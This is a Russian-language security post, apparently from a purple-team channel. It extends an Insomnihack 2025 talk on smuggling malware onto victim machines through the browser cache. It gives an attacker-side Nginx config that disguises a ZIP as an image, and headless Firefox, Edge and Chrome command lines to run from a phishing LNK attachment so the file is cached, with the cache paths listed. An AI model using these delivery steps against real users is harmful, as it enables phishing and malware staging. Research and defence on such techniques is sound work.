#phishing #browser_cache
🔵 На конференции
Insomnihack 2025 исследователь компании
Orange Cyberdefense представил
доклад, посвящённый способу доставки вредоносного ПО с использованием механизмов кэширования веб-браузеров (
статья №1,
статья №2).
К данной работе хотелось бы добавить некоторое
расширение, которое будет рассмотрено ниже. Но сначала кратко пройдёмся по основам.
🔵 Система кэширования веб-браузеров хранит следующие типы данных:
🔹HTML-файлы;
🔹CSS-файлы;
🔹JavaScript-файлы;
🔹медиафайлы;
🔹веб-шрифты.
Однако возникает вопрос: «
Как веб-браузеры определяют, какие файлы необходимо добавить в кэш?»
Здесь всё довольно просто — используется HTTP-заголовок Content-Type, который можно контролировать на стороне веб-сервера.
🔴
Настройка сервера атакующей стороны:
Конфигурационный файл Nginx (/etc/nginx/sites-available/default):
...
location /i_am_not_malware.zip {
add_header NOTMALWARE "purple_team_test";
types { } default_type image/jpeg;
}
...
Главная страница веб-сайта (/var/www/html/index.html):
...
...
🔴
Расширение.
В самом докладе рассматривается пример, при котором пользователю требуется перейти на фишинговый веб-сайт, чтобы файл сохранился в кэше. Однако описанный способ можно применить и в другом виде. Например, можно прописать
в LNK-файле ("классическое" вложение в письме)
команду перехода на сайт с помощью
веб-браузера в headless-режиме (см. ниже). В данном случае файл также будет добавлен в кэш.
Команда №1 (
Mozilla Firefox; движок
Quantum):
"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --url
http:///index.htmlПримечания:
*️⃣одновременная работа нескольких независимых процессов с одним профилем
Firefox невозможна. Поэтому необходимо либо завершить текущий процесс firefox.exe, либо использовать отдельный профиль (
создать) для нового процесса:
"C:\Program Files\Mozilla Firefox\firefox.exe" --createprofile sidekick
"C:\Program Files\Mozilla Firefox\firefox.exe" --P sidekick --headless --url
http:///index.html*️⃣
Каталог расположения кэша: %LOCALAPPDATA%\Mozilla\Firefox\Profiles\*.*\cache2\entries.
Команды №2 (
Microsoft Edge,
Google Chrome и т.п.; движок
Chromium):
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --disk-cache-size=1073741824 --dump-dom
https:///index.html"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu --user-data-dir="%USERPROFILE%\AppData\Local\Chrome\purple" --disk-cache-size=1073741824 --dump-dom
https:///index.html
Примечания:
*️⃣в headless-режиме
Google Chrome необходимо указать отдельный каталог для хранения пользовательских данных (параметр --user-data-dir), иначе после завершения сессии кэш и другие данные будут удалены;
*️⃣если файл достаточно большой, рекомендуется увеличить объём кэша на диске (параметр --disk-cache-size), например, до 100 Мбайт;
*️⃣
Каталог расположения кэша MSEdge (
headless-режим): %LOCALAPPDATA%\Temp\HeadlessEdge*\Default\Cache\Cache_Data.